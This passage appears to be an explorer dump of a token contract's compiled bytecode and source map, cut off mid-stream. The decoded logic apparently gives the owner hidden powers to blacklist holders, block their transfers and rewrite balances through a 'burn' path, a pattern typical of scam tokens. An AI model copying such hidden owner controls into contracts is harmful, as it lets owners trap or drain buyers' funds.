201915b5050505050905090565b60006103ec6103e5610b0d565b8484610b15565b6001905092915050565b6000600554905090565b600061040d848484610ce0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610458610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cf90611674565b60405180910390fd5b6104f5856104e4610b0d565b85846104f091906117fc565b610b15565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000009905090565b60006105cb610536610b0d565b848460036000610544610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c691906117a6565b610b15565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90611694565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074390611694565b60405180910390fd5b61075682826110a2565b5050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e90611694565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6060600980546108f1906118b8565b80601f016020809104026020016040519081016040528092919081815260200182805461091d906118b8565b801561096a5780601f1061093f5761010080835404028352916020019161096a565b820191906000526020600020905b81548152906001019060200180831161094d57829003601f168201915b5050505050905090565b60008060036000610983610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790611734565b60405180910390fd5b610a5d610a4b610b0d565b858584610a5891906117fc565b610b15565b600191505092915050565b6000610a7c610a75610b0d565b8484610ce0565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90611714565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611634565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd39190611754565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d47906116d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906115d4565b60405180910390fd5b60008111610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611614565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ea45750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f005760001515600660009054906101000a900460ff16151514610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef6906116f4565b60405180910390fd5b5b610f0b83838361126e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990611654565b60405180910390fd5b8181610f9e91906117fc565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103091906117a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110949190611754565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906116b4565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906115f4565b60405180910390fd5b816007546111a791906117fc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546111fc91906117fc565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112619190611754565b60405180910390a3505050565b505050565b60008135905061128281611c9b565b92915050565b60008135905061129781611cb2565b92915050565b6000602082840312156112af57600080fd5b60006112bd84828501611273565b91505092915050565b600080604083850312156112d957600080fd5b60006112e785828601611273565b92505060206112f885828601611273565b9150509250929050565b60008060006060848603121561131757600080fd5b600061132586828701611273565b935050602061133686828701611273565b925050604061134786828701611288565b9150509250925092565b6000806040838503121561136457600080fd5b600061137285828601611273565b925050602061138385828601611288565b9150509250929050565b61139681611842565b82525050565b60006113a78261178a565b6113b18185611795565b93506113c1818560208601611885565b6113ca81611948565b840191505092915050565b60006113e2602383611795565b91506113ed82611959565b604082019050919050565b6000611405602283611795565b9150611410826119a8565b604082019050919050565b6000611428602983611795565b9150611433826119f7565b604082019050919050565b600061144b602283611795565b915061145682611a46565b604082019050919050565b600061146e602683611795565b915061147982611a95565b604082019050919050565b6000611491602883611795565b915061149c82611ae4565b604082019050919050565b60006114b4602083611795565b91506114bf82611b33565b602082019050919050565b60006114d7602183611795565b91506114e282611b5c565b604082019050919050565b60006114fa602583611795565b915061150582611bab565b604082019050919050565b600061151d600083611795565b915061152882611bfa565b600082019050919050565b6000611540602483611795565b915061154b82611bfd565b604082019050919050565b6000611563602583611795565b915061156e82611c4c565b604082019050919050565b6115828161186e565b82525050565b61159181611878565b82525050565b60006020820190506115ac600083018461138d565b92915050565b600060208201905081810360008301526115cc818461139c565b905092915050565b600060208201905081810360008301526115ed816113d5565b9050919050565b6000602082019050818103600083015261160d816113f8565b9050919050565b6000602082019050818103600083015261162d8161141b565b9050919050565b6000602082019050818103600083015261164d8161143e565b9050919050565b6000602082019050818103600083015261166d81611461565b9050919050565b6000602082019050818103600083015261168d81611484565b9050919050565b600060208201905081810360008301526116ad816114a7565b9050919050565b600060208201905081810360008301526116cd816114ca565b9050919050565b600060208201905081810360008301526116ed816114ed565b9050919050565b6000602082019050818103600083015261170d81611510565b9050919050565b6000602082019050818103600083015261172d81611533565b9050919050565b6000602082019050818103600083015261174d81611556565b9050919050565b60006020820190506117696000830184611579565b92915050565b60006020820190506117846000830184611588565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117b18261186e565b91506117bc8361186e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f1576117f06118ea565b5b828201905092915050565b60006118078261186e565b91506118128361186e565b925082821015611825576118246118ea565b5b828203905092915050565b600061183b8261184e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118a3578082015181840152602081019050611888565b838111156118b2576000848401525b50505050565b600060028204905060018216806118d057607f821691505b602082108114156118e4576118e3611919565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ca481611830565b8114611caf57600080fd5b50565b611cbb8161186e565b8114611cc657600080fd5b5056fea2646970667358221220ceef194ba2e99a64e74c6dddaeb611dce5ff0df418d0d5d92c3902a70d37c49664736f6c63430008020033
Deployed Bytecode Sourcemap
14941:706:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6128:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8707:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7660:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9358:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15387:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10185:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7335:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15499:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7458:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7831:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7190:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6347:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10903:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8171:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8409:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6128:100;6182:13;6215:5;6208:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6128:100;:::o;8707:169::-;8790:4;8807:39;8816:12;:10;:12::i;:::-;8830:7;8839:6;8807:8;:39::i;:::-;8864:4;8857:11;;8707:169;;;;:::o;7660:108::-;7721:7;7748:12;;7741:19;;7660:108;:::o;9358:418::-;9464:4;9481:36;9491:6;9499:9;9510:6;9481:9;:36::i;:::-;9528:24;9555:11;:19;9567:6;9555:19;;;;;;;;;;;;;;;:33;9575:12;:10;:12::i;:::-;9555:33;;;;;;;;;;;;;;;;9528:60;;9627:6;9607:16;:26;;9599:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9689:57;9698:6;9706:12;:10;:12::i;:::-;9739:6;9720:16;:25;;;;:::i;:::-;9689:8;:57::i;:::-;9764:4;9757:11;;;9358:418;;;;;:::o;15387:100::-;15445:5;15470:9;15463:16;;15387:100;:::o;10185:215::-;10273:4;10290:80;10299:12;:10;:12::i;:::-;10313:7;10359:10;10322:11;:25;10334:12;:10;:12::i;:::-;10322:25;;;;;;;;;;;;;;;:34;10348:7;10322:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;10290:8;:80::i;:::-;10388:4;10381:11;;10185:215;;;;:::o;7335:115::-;5983:10;5973:20;;:6;;;;;;;;;;:20;;;5965:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;7438:4:::1;7403:16;:32;7420:14;7403:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7335:115:::0;:::o;15499:145::-;5983:10;5973:20;;:6;;;;;;;;;;:20;;;5965:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;15595:41:::1;15620:7;15629:6;15595:24;:41::i;:::-;15499:145:::0;;:::o;7458:137::-;7531:4;7555:16;:32;7572:14;7555:32;;;;;;;;;;;;;;;;;;;;;;;;;7548:39;;7458:137;;;:::o;7831:127::-;7905:7;7932:9;:18;7942:7;7932:18;;;;;;;;;;;;;;;;7925:25;;7831:127;;;:::o;7190:137::-;5983:10;5973:20;;:6;;;;;;;;;;:20;;;5965:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;7314:5:::1;7279:16;:32;7296:14;7279:32;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;7190:137:::0;:::o;6347:104::-;6403:13;6436:7;6429:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6347:104;:::o;10903:375::-;10996:4;11013:24;11040:11;:25;11052:12;:10;:12::i;:::-;11040:25;;;;;;;;;;;;;;;:34;11066:7;11040:34;;;;;;;;;;;;;;;;11013:61;;11113:15;11093:16;:35;;11085:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11181:67;11190:12;:10;:12::i;:::-;11204:7;11232:15;11213:16;:34;;;;:::i;:::-;11181:8;:67::i;:::-;11266:4;11259:11;;;10903:375;;;;:::o;8171:175::-;8257:4;8274:42;8284:12;:10;:12::i;:::-;8298:9;8309:6;8274:9;:42::i;:::-;8334:4;8327:11;;8171:175;;;;:::o;8409:151::-;8498:7;8525:11;:18;8537:5;8525:18;;;;;;;;;;;;;;;:27;8544:7;8525:27;;;;;;;;;;;;;;;;8518:34;;8409:151;;;;:::o;3427:98::-;3480:7;3507:10;3500:17;;3427:98;:::o;13760:344::-;13879:1;13862:19;;:5;:19;;;;13854:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13960:1;13941:21;;:7;:21;;;;13933:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14042:6;14012:11;:18;14024:5;14012:18;;;;;;;;;;;;;;;:27;14031:7;14012:27;;;;;;;;;;;;;;;:36;;;;14080:7;14064:32;;14073:5;14064:32;;;14089:6;14064:32;;;;;;:::i;:::-;;;;;;;;13760:344;;;:::o;11775:772::-;11899:1;11881:20;;:6;:20;;;;11873:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;11983:1;11962:23;;:9;:23;;;;11954:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12053:1;12044:6;:10;12036:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12115:16;:24;12132:6;12115:24;;;;;;;;;;;;;;;;;;;;;;;;;:55;;;;12143:16;:27;12160:9;12143:27;;;;;;;;;;;;;;;;;;;;;;;;;12115:55;12111:88;;;12189:5;12180:14;;:5;;;;;;;;;;;:14;;;12172:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;12111:88;12210:47;12231:6;12239:9;12250:6;12210:20;:47::i;:::-;12268:21;12292:9;:17;12302:6;12292:17;;;;;;;;;;;;;;;;12268:41;;12345:6;12328:13;:23;;12320:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12441:6;12425:13;:22;;;;:::i;:::-;12405:9;:17;12415:6;12405:17;;;;;;;;;;;;;;;:42;;;;12482:6;12458:9;:20;12468:9;12458:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;12521:9;12504:35;;12513:6;12504:35;;;12532:6;12504:35;;;;;;:::i;:::-;;;;;;;;11775:772;;;;:::o;12881:441::-;13003:1;12984:21;;:7;:21;;;;12976:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13054:22;13079:9;:18;13089:7;13079:18;;;;;;;;;;;;;;;;13054:43;;13134:6;13116:14;:24;;13108:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13222:6;13211:8;;:17;;;;:::i;:::-;13190:9;:18;13200:7;13190:18;;;;;;;;;;;;;;;:38;;;;13255:6;13239:12;;:22;;;;;;;:::i;:::-;;;;;;;;13303:1;13277:37;;13286:7;13277:37;;;13307:6;13277:37;;;;;;:::i;:::-;;;;;;;;12881:441;;;:::o;14707:92::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:109::-;2030:21;2045:5;2030:21;:::i;:::-;2025:3;2018:34;2008:50;;:::o;2064:364::-;;2180:39;2213:5;2180:39;:::i;:::-;2235:71;2299:6;2294:3;2235:71;:::i;:::-;2228:78;;2315:52;2360:6;2355:3;2348:4;2341:5;2337:16;2315:52;:::i;:::-;2392:29;2414:6;2392:29;:::i;:::-;2387:3;2383:39;2376:46;;2156:272;;;;;:::o;2434:366::-;;2597:67;2661:2;2656:3;2597:67;:::i;:::-;2590:74;;2673:93;2762:3;2673:93;:::i;:::-;2791:2;2786:3;2782:12;2775:19;;2580:220;;;:::o;2806:366::-;;2969:67;3033:2;3028:3;2969:67;:::i;:::-;2962:74;;3045:93;3134:3;3045:93;:::i;:::-;3163:2;3158:3;3154:12;3147:19;;2952:220;;;:::o;3178:366::-;;3341:67;3405:2;3400:3;3341:67;:::i;:::-;3334:74;;3417:93;3506:3;3417:93;:::i;:::-;3535:2;3530:3;3526:12;3519:19;;3324:220;;;:::o;3550:366::-;;3713:67;3777:2;3772:3;3713:67;:::i;:::-;3706:74;;3789:93;3878:3;3789:93;:::i;:::-;3907:2;3902:3;3898:12;3891:19;;3696:220;;;:::o;3922:366::-;;4085:67;4149:2;4144:3;4085:67;:::i;:::-;4078:74;;4161:93;4250:3;4161:93;:::i;:::-;4279:2;4274:3;4270:12;4263:19;;4068:220;;;:::o;4294:366::-;;4457:67;4521:2;4516:3;4457:67;:::i;:::-;4450:74;;4533:93;4622:3;4533:93;:::i;:::-;4651:2;4646:3;4642:12;4635:19;;4440:220;;;:::o;4666:366::-;;4829:67;4893:2;4888:3;4829:67;:::i;:::-;4822:74;;4905:93;4994:3;4905:93;:::i;:::-;5023:2;5018:3;5014:12;5007:19;;4812:220;;;:::o;5038:366::-;;5201:67;5265:2;5260:3;5201:67;:::i;:::-;5194:74;;5277:93;5366:3;5277:93;:::i;:::-;5395:2;5390:3;5386:12;5379:19;;5184:220;;;:::o;5410:366::-;;5573:67;5637:2;5632:3;5573:67;:::i;:::-;5566:74;;5649:93;5738:3;5649:93;:::i;:::-;5767:2;5762:3;5758:12;5751:19;;5556:220;;;:::o;5782:364::-;;5945:66;6009:1;6004:3;5945:66;:::i;:::-;5938:73;;6020:93;6109:3;6020:93;:::i;:::-;6138:1;6133:3;6129:11;6122:18;;5928:218;;;:::o;6152:366::-;;6315:67;6379:2;6374:3;6315:67;:::i;:::-;6308:74;;6391:93;6480:3;6391:93;:::i;:::-;6509:2;6504:3;6500:12;6493:19;;6298:220;;;:::o;6524:366::-;;6687:67;6751:2;6746:3;6687:67;:::i;:::-;6680:74;;6763:93;6852:3;6763:93;:::i;:::-;6881:2;6876:3;6872:12;6865:19;;6670:220;;;:::o;6896:118::-;6983:24;7001:5;6983:24;:::i;:::-;6978:3;6971:37;6961:53;;:::o;7020:112::-;7103:22;7119:5;7103:22;:::i;:::-;7098:3;7091:35;7081:51;;:::o;7138:210::-;;7263:2;7252:9;7248:18;7240:26;;7276:65;7338:1;7327:9;7323:17;7314:6;7276:65;:::i;:::-;7230:118;;;;:::o;7354:313::-;;7505:2;7494:9;7490:18;7482:26;;7554:9;7548:4;7544:20;7540:1;7529:9;7525:17;7518:47;7582:78;7655:4;7646:6;7582:78;:::i;:::-;7574:86;;7472:195;;;;:::o;7673:419::-;;7877:2;7866:9;7862:18;7854:26;;7926:9;7920:4;7916:20;7912:1;7901:9;7897:17;7890:47;7954:131;8080:4;7954:131;:::i;:::-;7946:139;;7844:248;;;:::o;8098:419::-;;8302:2;8291:9;8287:18;8279:26;;8351:9;8345:4;8341:20;8337:1;8326:9;8322:17;8315:47;8379:131;8505:4;8379:131;:::i;:::-;8371:139;;8269:248;;;:::o;8523:419::-;;8727:2;8716:9;8712:18;8704:26;;8776:9;8770:4;8766:20;8762:1;8751:9;8747:17;8740:47;8804:131;8930:4;8804:131;:::i;:::-;8796:139;;8694:248;;;:::o;8948:419::-;;9152:2;9141:9;9137:18;9129:26;;9201:9;9195:4;9191:20;9187:1;9176:9;9172:17;9165:47;9229:131;9355:4;9229:131;:::i;:::-;9221:139;;9119:248;;;:::o;9373:419::-;;9577:2;9566:9;9562:18;9554:26;;9626:9;9620:4;9616:20;9612:1;9601:9;9597:17;9590:47;9654:131;9780:4;9654:131;:::i;:::-;9646:139;;9544:248;;;:::o;9798:419::-;;10002:2;9991:9;9987:18;9979:26;;10051:9;10045:4;10041:20;10037:1;10026:9;10022:17;10015:47;10079:131;10205:4;10079:131;:::i;:::-;10071:139;;9969:248;;;:::o;10223:419::-;;10427:2;10416:9;10412:18;10404:26;;10476:9;10470:4;10466:20;10462:1;10451:9;10447:17;10440:47;10504:131;10630:4;10504:131;:::i;:::-;10496:139;;10394:248;;;:::o;10648:419::-;;10852:2;10841:9;10837:18;10829:26;;10901:9;10895:4;10891:20;10887:1;10876:9;10872:17;10865:47;10929:131;11055:4;10929:131;:::i;:::-;10921:139;;10819:248;;;:::o;11073:419::-;;11277:2;11266:9;11262:18;11254:26;;11326:9;11320:4;11316:20;11312:1;11301:9;11297:17;11290:47;11354:131;11480:4;11354:131;:::i;:::-;11346:139;;11244:248;;;:::o;11498:419::-;;11702:2;11691:9;11687:18;11679:26;;11751:9;11745:4;11741:20;11737:1;11726:9;11722:17;11715:47;11779:131;11905:4;11779:131;:::i;:::-;11771:139;;11669:248;;;:::o;11923:419::-;;12127:2;12116:9;12112:18;12104:26;;12176:9;12170:4;12166:20;12162:1;12151:9;12147:17;12140:47;12204:131;12330:4;12204:131;:::i;:::-;12196:139;;12094:248;;;:::o;12348:419::-;;12552:2;12541:9;12537:18;12529:26;;12601:9;12595:4;12591:20;12587:1;12576:9;12572:17;12565:47;12629:131;12755:4;12629:131;:::i;:::-;12621:139;;12519:248;;;:::o;12773:222::-;;12904:2;12893:9;12889:18;12881:26;;12917:71;12985:1;12974:9;12970:17;12961:6;12917:71;:::i;:::-;12871:124;;;;:::o;13001:214::-;;13128:2;13117:9;13113:18;13105:26;;13141:67;13205:1;13194:9;13190:17;13181:6;13141:67;:::i;:::-;13095:120;;;;:::o;13221:99::-;;13307:5;13301:12;13291:22;;13280:40;;;:::o;13326:169::-;;13444:6;13439:3;13432:19;13484:4;13479:3;13475:14;13460:29;;13422:73;;;;:::o;13501:305::-;;13560:20;13578:1;13560:20;:::i;:::-;13555:25;;13594:20;13612:1;13594:20;:::i;:::-;13589:25;;13748:1;13680:66;13676:74;13673:1;13670:81;13667:2;;;13754:18;;:::i;:::-;13667:2;13798:1;13795;13791:9;13784:16;;13545:261;;;;:::o;13812:191::-;;13872:20;13890:1;13872:20;:::i;:::-;13867:25;;13906:20;13924:1;13906:20;:::i;:::-;13901:25;;13945:1;13942;13939:8;13936:2;;;13950:18;;:::i;:::-;13936:2;13995:1;13992;13988:9;13980:17;;13857:146;;;;:::o;14009:96::-;;14075:24;14093:5;14075:24;:::i;:::-;14064:35;;14054:51;;;:::o;14111:90::-;;14188:5;14181:13;14174:21;14163:32;;14153:48;;;:::o;14207:126::-;;14284:42;14277:5;14273:54;14262:65;;14252:81;;;:::o;14339:77::-;;14405:5;14394:16;;14384:32;;;:::o;14422:86::-;;14497:4;14490:5;14486:16;14475:27;;14465:43;;;:::o;14514:307::-;14582:1;14592:113;14606:6;14603:1;14600:13;14592:113;;;14691:1;14686:3;14682:11;14676:18;14672:1;14667:3;14663:11;14656:39;14628:2;14625:1;14621:10;14616:15;;14592:113;;;14723:6;14720:1;14717:13;14714:2;;;14803:1;14794:6;14789:3;14785:16;14778:27;14714:2;14563:258;;;;:::o;14827:320::-;;14908:1;14902:4;14898:12;14888:22;;14955:1;14949:4;14945:12;14976:18;14966:2;;15032:4;15024:6;15020:17;15010:27;;14966:2;15094;15086:6;15083:14;15063:18;15060:38;15057:2;;;15113:18;;:::i;:::-;15057:2;14878:269;;;;:::o;15153:180::-;15201:77;15198:1;15191:88;15298:4;15295:1;15288:15;15322:4;15319:1;15312:15;15339:180;15387:77;15384:1;15377:88;15484:4;15481:1;15474:15;15508:4;15505:1;15498:15;15525:102;;15617:2;15613:7;15608:2;15601:5;15597:14;15593:28;15583:38;;15573:54;;;:::o;15633:222::-;15773:34;15769:1;15761:6;15757:14;15750:58;15842:5;15837:2;15829:6;15825:15;15818:30;15739:116;:::o;15861:221::-;16001:34;15997:1;15989:6;15985:14;15978:58;16070:4;16065:2;16057:6;16053:15;16046:29;15967:115;:::o;16088:228::-;16228:34;16224:1;16216:6;16212:14;16205:58;16297:11;16292:2;16284:6;16280:15;16273:36;16194:122;:::o;16322:221::-;16462:34;16458:1;16450:6;16446:14;16439:58;16531:4;16526:2;16518:6;16514:15;16507:29;16428:115;:::o;16549:225::-;16689:34;16685:1;16677:6;16673:14;16666:58;16758:8;16753:2;16745:6;16741:15;16734:33;16655:119;:::o;16780:227::-;16920:34;16916:1;16908:6;16904:14;16897:58;16989:10;16984:2;16976:6;16972:15;16965:35;16886:121;:::o;17013:182::-;17153:34;17149:1;17141:6;17137:14;17130:58;17119:76;:::o;17201:220::-;17341:34;17337:1;17329:6;17325:14;17318:58;17410:3;17405:2;17397:6;17393:15;17386:28;17307:114;:::o;17427:224::-;17567:34;17563:1;17555:6;17551:14;17544:58;17636:7;17631:2;17623:6;17619:15;17612:32;17533:118;:::o;17657:114::-;17763:8;:::o;17777:223::-;17917:34;17913:1;17905:6;17901:14;17894:58;17986:6;